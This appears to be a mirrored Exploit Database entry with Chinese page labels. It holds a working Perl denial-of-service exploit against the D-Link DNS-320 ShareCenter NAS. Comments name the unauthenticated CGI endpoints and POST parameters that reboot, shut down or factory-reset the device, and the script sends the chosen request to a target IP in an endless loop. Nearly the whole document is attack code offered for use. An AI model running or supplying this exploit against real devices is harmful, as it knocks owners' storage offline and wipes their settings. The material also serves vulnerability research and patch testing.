D-Link DNS-320 ShareCenter – Remote Reboot/Shutdown/Reset (Denial of Service)

• Exploit Database
• 90 阅读

• 作者： rigan
  日期： 2011-12-05
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/18199/

• #!/usr/bin/perl
  #
  #Title:ShareCenter D-Link DNS-320 remote reboot/shutdown/reset (DoS). 
  #Type: Hardware
  #Remote: yes
  #Author: rigan - imrigan [sobachka] gmail.com
  #
  #Tested on:
  #Firmware: DNS320-v2.00b06
  #
  #Security flaws: 
  #dsk_mgr.cgi allows execute reboot via POST request with parameter cmd=FMT_restart.
  #system_mgr.cgi allows execute reboot via POST request with parameter cmd=cgi_restart or cmd=cgi_reboot.
  #system_mgr.cgi allows execte shutdown via POST request with parameter cmd=cgi_shutdown. 
  #wizard_mgr.cgi allows to reset the firmware to default settings via POST request with parameter cmd=cgi_wizard.
  
  use LWP::UserAgent;
  
  print "[*] ShareCenter D-Link DNS-320 Remote Dos Exploit\n";
  
  if (@ARGV != 3){ &usage; }
  
  while (@ARGV > 0){
   $ip = shift(@ARGV);
   $port = shift(@ARGV);
   $mode = shift(@ARGV);
  }
  
  @cgi = ("dsk_mgr.cgi", "system_mgr.cgi", "wizard_mgr.cgi", "system_mgr.cgi");
  @cmd = ("cmd=FMT_restart", "cmd=cgi_restart", "cmd=cgi_wizard", "cmd=cgi_shutdown");
  
  $url = "http://".$ip.":".$port."/cgi-bin/".$cgi[$mode];
  
  print "[*] DoS.............................................\n"; 
  while(1){
   my $ua = new LWP::UserAgent;
   my $req = HTTP::Request->new(POST=>$url);
   $req->content_type('application/x-www-form-urlencoded');
   $req->content($cmd[$mode]);
   my $res = $ua->request($req);
  }
  
  sub usage(){
   print "Usage: perl dlink.pl [target ip] [port] [0,1,2,3]\n";
   print "=================================================\n";
   print "0 - dsk_mgr.cgi cmd=FMT_restart [Reboot] \n";
   print "1 - system_mgr.cgi cmd=cgi_restart [Reboot]\n";
   print "2 - wizard_mgr.cgi cmd=cgi_wizard [Reset]\n";
   print "3 - system_mgr.cgi cmd=shutdown [Shutdown] \n";
   exit;
  }
  

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